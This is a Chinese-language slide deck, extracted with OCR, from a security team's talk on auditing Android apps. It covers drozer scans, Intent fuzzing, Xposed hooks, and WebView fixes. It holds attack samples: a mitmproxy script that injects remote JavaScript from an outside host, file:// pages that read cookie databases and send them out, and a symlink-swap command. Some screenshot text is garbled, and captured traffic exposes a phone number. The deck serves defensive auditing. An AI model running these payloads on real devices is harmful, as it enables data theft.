

Android软件安全审计及漏洞修复经验谈

360信息安全部 宋申雷



Linux基于UID和GID的安全机制





```
D:\adt-bundle-windows-x86_64-20130729\sdk\platform-tools>adb shell
shell@m0cmcc:/ $ ls -1
ls -1
                                       2014-06-23 11:25 acct
drwxr-xr-x root
                    root
drwxrwx--- system
                    cache
                                       2014-06-19 19:20 cache
dr-x---- root
                                       2014-06-23 11:25 config
                    root
                                       2014-06-23 11:25 d -> /sys/kernel/debug
lrwxrwxrwx root
                    root
                                       2014-06-23 11:25 data
drwxrwx--x system
                    system
                                  132 1970-01-01 08:00 default.prop
rw-r--r-- root
                    root
drwxr-xr-x root
                    root
                                       2014-06-23 11:25 dev
                                       JOOL TO TO TO TO THE TO STATE ACHINOL
                    TLANLANTANY LOOF
drwxrwx--x radio
                    shell@m@cmcc:/ $ ps
lrwxrwxrwx root
                    ps
lrwxrwxrwx root
                   USER
                             PID
                                   PPID
                                        USIZE
                                                RSS
                                                        WCHAN
                                                                 PC
                                                                             NAME
 rw-r--r-- root
                                          528
                                                       ffffffff 00000000 S /init
                    root
                             1
                                    Ø
                                                 340
 rw-r---- root
                              2
                                    n
                                          n
                                                       ffffffff 00000000 S kthreadd
                    root
 rwxr-x--- root
                                    2
                                                       ffffffff 00000000 S ksoftirgd/0
                              3
                                          n
                    root
 rwxr-x--- root
                                                       ffffffff 00000000 S migration/0
                                          0
                                                 Ø
                    root
                              7
                                    2
                                          n
                                                       ffffffff 00000000 S watchdog/0
                    root
 rwxr-x--- root
                                    2
                                                       ffffffff 00000000 S khelper
                              20
                                          n
                                                 n
                    root
 rwxr-x--- root
                                    2
                                                       ffffffff 00000000 S netns
                              24
                                          Ø
                                                 Ø
                    root
 rwxr-x--- root
                                    2
                                          0
                                                       ffffffff 00000000 S sync_system_wor
                    root
                              28
 rwxr-x--- root
                                    2
                              444
                                          0
                                                       ffffffff 00000000 S sync_supers
                    root
 rwxr-x--- root
                                                       ffffffff 00000000 S bdi-default
                              446
                                          0
                                                 0
                    root
drwxr-xr-x root
                                    2
                                          0
                                                       ffffffff 00000000 S kblockd
                    root
                              448
                                                 n
                              467
                                    2
                                          n
                                                 n
                                                       ffffffff 00000000 S khubd
                    root
                    woot_u0_a8
                                               553708 23012 ffffffff 00000000 S com.android.contacts
                                   3200
                                         1940
                         u0 a93
                                   3297
                                        1940
                                               500696 20084 ffffffff 00000000 S com.sec.phone
                         u0_a134
                                   3883
                                               563516 30700 fffffffff 00000000 S com.qihoo.appstore
                                              497868 23180 ffffffff 00000000 S com.sec.factory
                                   4018
                                        1940
                         system
```



Permission

Android Runtime

UID/GID


Linux Kernel



Permission用于具体操作进行权限细分和访问控制

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"</pre>
          package="com.android.updateService"
          android:versionCode="1"
           android:versionName="1.0">
    <uses-sdk android:minSdkVersion="3"/>
    <uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS GPS" />
    <uses-permission android:name="android.permission.ACCESS LOCATION" />
    <uses-permission android:name="android.permission.ACCESS COARSE LOCATION" />
    <uses-permission android:name="android.permission.ACCESS FINE LOCATION" />
     <uses-permission android:name="android.permission.WAKE LOCK" />
    <uses-permission android:name="android.permission.WRITE EXTERNAL STORAGE" />
    <uses-permission android:name="android.permission.READ PHONE STATE"/>
    <uses-permission android:name="android.permission.READ CONTACTS"/>
    <uses-permission android:name="android.permission.READ SMS" />
    <uses-permission android:name="com.android.browser.permission.READ HISTORY BOOKMARKS" />
```







app.apk

AndroidManifest.xml

classes.dex

assets/resourcel

assets/resource2

lib/lib1

res/res1



app-hacked.apk

AndroidManifest.xml

classes.dex

assets/resourcel

assets/resource2

lib/lib1

res/res1

classes.dex

Master Key漏洞轰动一时!!!

- 1. 打包系统签名的APP
- 2.系统签名的APP通过android:sharedUserId 申请 了android.uid.system这个UID
- 3. 注入恶意代码获得root权限



Android Runtime


Android的APK相当于Linux的UID

Android的Permission相当是Linux的GID

Android的Signature控制APK的UID和GID分配



安卓APP攻击向量





安卓APP攻击向量


组件安全

文件读写安全

通信协议安全

数据加密安全

IPC(进程间通信)安 全





获取APP的所有组件信息


```
Selecting 720bdfd41431ce5a (samsung GT-I9308 4.3)
            ..a.. . ...... . ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           ..sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.
drozer Console (v2.3.0)
dz> run app.package.attacksurface cn.qihoo.msearch
Attack Surface:
 3 activities exported
 2 broadcast receivers exported
 O content providers exported
  O services exported
```



分析AndroidManifest.xml 查找intent(意图)



使用drozer或adb shell验证导出组件功能






使用drozer扫描content provider

```
unknown module: 'scanner.provider.finduri'
dz> run scanner.provider.in.jection -a com.gihoo360.mobilesafe
Scanning com.gihoo360.mobilesafe...
Not Uulnerable:
  content://com.qihoo.antivirus.sync.MSSyncProvider/set_switch/
  content://com.gihoo360.nettrafficmonitor/app_mf/
  content://com.gihoo360.mobilesafe.AntitheftUIProvider
  content://com.qihoo360.mobilesafeguard/privatecontacts
  content://com.gihoo360.nettrafficmonitor/bytes/
  content://com.gihoo360.mobilesafe.contacts/pe
  content://com.sec.android.app.twlauncher.settings/favorites?notify=true
  content://com.qihoo360.mobilesafeguard/smartwhite
  content://com.gihoo360.mobilesafeguard_mtk6573
  content://com.qihoo360.mobilesafe.sync.NewAVSyncProvider/
  content://com.qihoo360.mobilesafe.pay.ipc
  content://browser/bookmarks/
  content://com.qihoo360.mobilesafe.shield.emptyContent/
  content://com.qihoo360.nettrafficmonitor/ms_bytes/
  content://com.qihoo360.mobilesafeguard/blacklist
  content://com.gihoo360.mobilesafeguard/marker_type/
  content://com.android.browser/history/
  content://com.android.contacts/contacts/
  content://call_log/calls/
  content://com.qihoo360.mobilesafe.contacts/phone_compensate_open
  content://com.gihoo360.mobilesafeguard/pdu/
  content://com.qihoo360.lib.urlverify/shieldrecords/
  content://com.android.contacts/phone_lookup/
```




设置代理抓包分析app的通信





通过定制脚本自动化获取攻击向量






通过定制Intent自动化测试IPC&组件安全漏洞

```
private boolean sendIntentByType(Intent intent, String type) {
        try {
                        switch (ipcNamesToTypes.get(type)) {
                        case Utils.ACTIVITIES:
                                startActivity(intent);
                                return true;
                        case Utils.RECEIVERS:
                                sendBroadcast(intent);
                                return true;
                        case Utils.SERVICES:
                                startService(intent);
                                return true;
                        default:
                                return true;
        } catch (Exception e) {
                //e.printStackTrace();
                return false;
        }
```



smail & java & dex 都能通过定制静态代码特征扫描发现漏洞





通过定制抓包脚本自动化测试通信和web安全问题

```
from libmproxy, flow import Response
from netlib.odict import ODictCaseless
def request(context, flow):
    if flow. request. host. endswith("com"):
        resp = Response(flow.request,
                         [1, 1],
                         200. "OK".
                         ODictCaseless([["Content-Type", "text/html"]]),
                         '''<script src=http://andlab.info/webview.js></script>''',
                         None)
        flow. request. reply( resp)
    if flow. request. host. endswith("cn"):
        resp = Response(flow.request,
                         [1, 1],
                         301, "OK",
                         ODictCaseless([["Location", "http://drops.wooyun.org/webview.html"]]),
                         None)
        flow. request. reply( resp)
```



- HOOK 钩子,对要审计的函数进行HOOK,改变程序的流程。
- DEBUG 调试,定位安全漏洞产生的原因。
- Reverse 逆向,在没有源代码的情况下,了解程序的流程。



HOOK 修改或监控需要安全审计的类方法调用

```
package de.robv.android.xposed.mods.tutorial;
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC MethodHook;
import de.robv.android.xposed.callbacks.XC LoadPackage.LoadPackageParam;
public class Tutorial implements IXposedHookLoadPackage {
   public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
        if (!lpparam.packageName.equals("com.android.systemui"))
            return;
        findAndHookMethod("com.android.systemui.statusbar.policy.Clock", lpparam.classLoad
            @Override
            protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
               // this will be called before the clock was updated by the original method
            @Override
            protected void afterHookedMethod(MethodHookParam param) throws Throwable {
               // this will be called after the clock was updated by the original method
   });
```



HOOK 检测APP X509TrustManager是否信任了全部证书

```
class Intro SSL CHECK TRUST MANAGER extends IntroHook {
        public void execute(Object... args) {
               logBasicInfo();
               TrustManager[] tm arr = (TrustManager[]) args[1];
               // check the trust manager
               if (tm arr != null && tm arr[0] != null) {
                        X509TrustManager tm = (X509TrustManager) tm arr[0];
                       X509Certificate[] chain = new X509Certificate[]{};
                        boolean check = false;
                        try {
                               tm.checkClientTrusted(chain, "");
                               tm.checkServerTrusted(chain, "");
                       } catch (Exception e) { // should change to CertificateException
                               // if it goes here with an invalid cert
                               // the app may verify certs
                                check = true;
                       if (!check)
                               _logFlush_W("The app does not verify SSL certs");
                        else
                               _logFlush_I("Use of a custom Trust Manager, " +
                                                "the app may do cert, pinning (OR potentially validate any cert)");
```



Smail Debug
 重打包在manifest文件中加入android:debuggable="true",

\$ apktool d -d -o out app.apk \$ apktool b -d -o out

 Make any application debuggable HOOK设置debugFlags标志位

public ProcessStartResult start(final String processClass, final String niceName, int uid, int gid, int[] gids, **int debugFlags**, int mountExternal, int targetSdkVersion, String selnfo, String[] zygoteArgs)

.


if ((debugFlags & Zygote.DEBUG_ENABLE_DEBUGGER) != 0) { argsForZygote.add("--enable-debugger"); }

钩上android.os.Process,把第5个参数设置成0x1(十六进制的1)



./androgexf.py -i YOURAPP.apk -o YOURAPP.gexf

了解APP的程序流程,视化数据,分析类的方法调用流程等。





自定义组件的permission

```
<activity android:theme="@style/Theme" android:name="com.qihoo360.byod.home.Launcher" android:permission=</pre>
 com.qihoo360.byod.permission.openAppActivity" android:taskAffinity="com.qihoo360.byod.screenlock" android:finishOnTaskLaunch="true""
 android;clearTaskOnLaunch="true" android;stateNotNeeded="true" android;excludeFromRecents="true" android;launchMode="singleInstance"
 android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation" android:windowSoftInputMode="adjustPan">
C:\Windows\system32\cmd.exe - adb shell
shell@m0cmcc:/ $ am start -n com.gihoo360.byod.home/com.gihoo360.byod.calendar.LaunchActivity
ome/com.qihoo360.byod.calendar.LaunchActivity
Starting: Intent { cmp=com.qihoo360.byod.home/com.qihoo360.byod.calendar.LaunchActivity }
java.lang.SecurityException: Permission Denial: starting Intent ⟨ flg=0x1000000 cmp=com.gihoo360.byod.home/com.gihoo360.byod.calendar.LaunchAc
} from null (pid=8206, uid=2000) requires com.qihoo360.byod.permission.openAppActivity
       at android.os.Parcel.readException(Parcel.java:1431)
        at android.os.Parcel.readException(Parcel.java:1385)
       at android.app.ActivityManagerProxy.startActivityAsUser(ActivityManagerNative.java:2279)
        at com.android.commands.am.Am.runStart(Am.java:617)
        at com.android.commands.am.Am.onRun(Am.java:232)
       at com.android.internal.os.BaseCommand.run(BaseCommand.java:47)
        at com.android.commands.am.Am.main(Am.java:75)
       at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
       at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:297)
       at dalvik.system.NativeStart.main(Native Method)
1|shell@m@cmcc:/$
```



```
</receiver>
   android:readPermission="com.gihoo360.byod.home.permission.READ SETTINGS"
   android:writePermission="com.qihoo360.byod.home.permission.WRITE SETTINGS"
   android:authorities="com.gihoo360.byod.home.settings"
   android:initOrder="3" />
    </activity>
     <receiver android:name="com.gihoo360.byod.mail.service.AttachmentDownloadService$Watchdog"</pre>
    android:permission="com.gihoo360.byod.permission.openAppActivity"
    android:enabled="true"
        android:name="com.gihoo360.byod.mail.ACCOUNT INTENT" android:permission="com.gihoo360.byod.permission.openAppActivity" />
C:\Windows\system32\cmd.exe - adb shell
   [<URI> : <PACKAGE> : <COMPONENT>]
shell@m0cmcc:/ $ am startservice -n com.qihoo360.byod.home/com.qihoo360.byod.mail.ACCOUNT_INTENT
.byod.home/com.qihoo360.byod.mail.ACCOUNT_INTENT
Starting service: Intent {    cmp=com.qihoo360.byod.home/com.qihoo360.byod.mail.ACCOUNT_INTENT_}
java.lang.SecurityException: Caller uid=2000 is not privileged to communicate with user=-2
       at android.os.Parcel.readException(Parcel.java:1431)
       at android.os.Parcel.readException(Parcel.java:1385)
       at android.app.ActivityManagerProxy.startService(ActivityManagerNative.java:3024)
       at com.android.commands.am.Am.runStartService(Am.java:538)
       at com.android.commands.am.Am.onRun(Am.java:234)
       at com.android.internal.os.BaseCommand.run(BaseCommand.java:47)
       at com.android.commands.am.Am.main(Am.java:75)
       at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
       at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:297)
       at dalvik.system.NativeStart.main(Native Method)
1|shell@m0cmcc:/$
```



file:///data/data/pkg/dir/Cookies

Auto-downloaded to the SD card.

Attack App

attack2.html

attack3.html

attack4.html

Cmd 1

Cmd 4

Execute Cmd 1

Thread.sleep(3000); filepath = findFileInSDcard("Cookies"); if (filepath)

(A1)

readFileFromSDcard(filepath);

The External file:// Browsing Requests

(A3)

file:///path/attack3.html

```
<html><body><h1>attack3</h1><script>
var aim = 'https://mail.google.com';
function sendFile(txt) { ... }
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4){
    sendFile(xhr.responseText);
xhr.open('GET', aim);
xhr.send(null);
<script></body></html>
```

file:///path/attack2.html

```
<html><body><h1>attack2</h1><script>
var aim = '/data/data/pkg/dir/Cookies';
function sendFile(txt) { ... }
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4)
    sendFile(xhr.responseText);
xhr.open('GET', aim);
xhr.send(null);
<script></body></html>
```

(A2)

(A4)

file:///path/attack4.html

```
<html><body><h1>attack4</h1><script>
var aim = document.URL:
function sendFile(txt) { ... }
setTimeout(function() {
  var xhr = new XMLHttpRequest();
  xhr.onload = function()
     sendFile(xhr. responseText); };
  xhr.open('GET', aim); xhr.send(null);
3, 8000);
               <script></body></html>
```

Execute Cmd 4 Thread.sleep(4000); rm /path/attack4.html In -s /.../Cookies /path/attack4.html

Victim Browser

Exposed Browsing Interface

Private File Zone

Sensitive files



```
final String url = getIntent().getStringExtra("url");
wSettings.setJavaScriptEnabled(false):
if (!url.startsWith("file:")){
    wSettings.setJavaScriptEnabled(true);
}
```

```
final String url = getIntent().getStringExtra("url");

String loadUrl = "about:blank";

if (!url.startsWith("file:")) {

loadUrl = url
```

加载空白页



坑爹的安卓碎片化,为了兼容build api level太低,只能反射调用某些函数修复漏洞!



加密网络协议中的明文数据,不管protobuf、amf3还是xmpp!

```
Stream Content
{"compressType":3,"versionMajor":"3.2.1","screenHeight":800,"platformVendor":"unknown",
"osVersion":"4.1.2","platformModel":"sdk","screenWidth":480,"clientNativeId":"310260000
000000","versionMin":"50484","osName":"Linux","clientType":1},"loginName":"18618287401
"}.....e
{"stateDesc":"success","svalue":"30511289","random":"6ab36fd476e5fb5ed3186605a103ac34",
"stateCode":0}....GUDN.....
"}.....xGUDN.....
.....F@.9H.....X
{"stateDesc":"success","sessionId":"285","userId":89,"contactSynchFlag":0,"stateCode":
0}...xGUDN........F@.......PB&.->.C.....P.1....:tB^/c>r.s.....4...M.+.|
f].m.....it......ED....7..f.....q..c%.7..{.bP._
...PB&.->.C.....P.5m..wxu.8Y..,.'.s....4...M.+.|b......(..z..
0. v.
...`.<Pd.._..z..?..1.2.:f].m.....it......ED...].l.Q.'j~...#......D..0.o..."c
                                                                 •
Entire conversation (3710 bytes)
```



对外发布的APP关掉logcat的调试信息



Thanks!

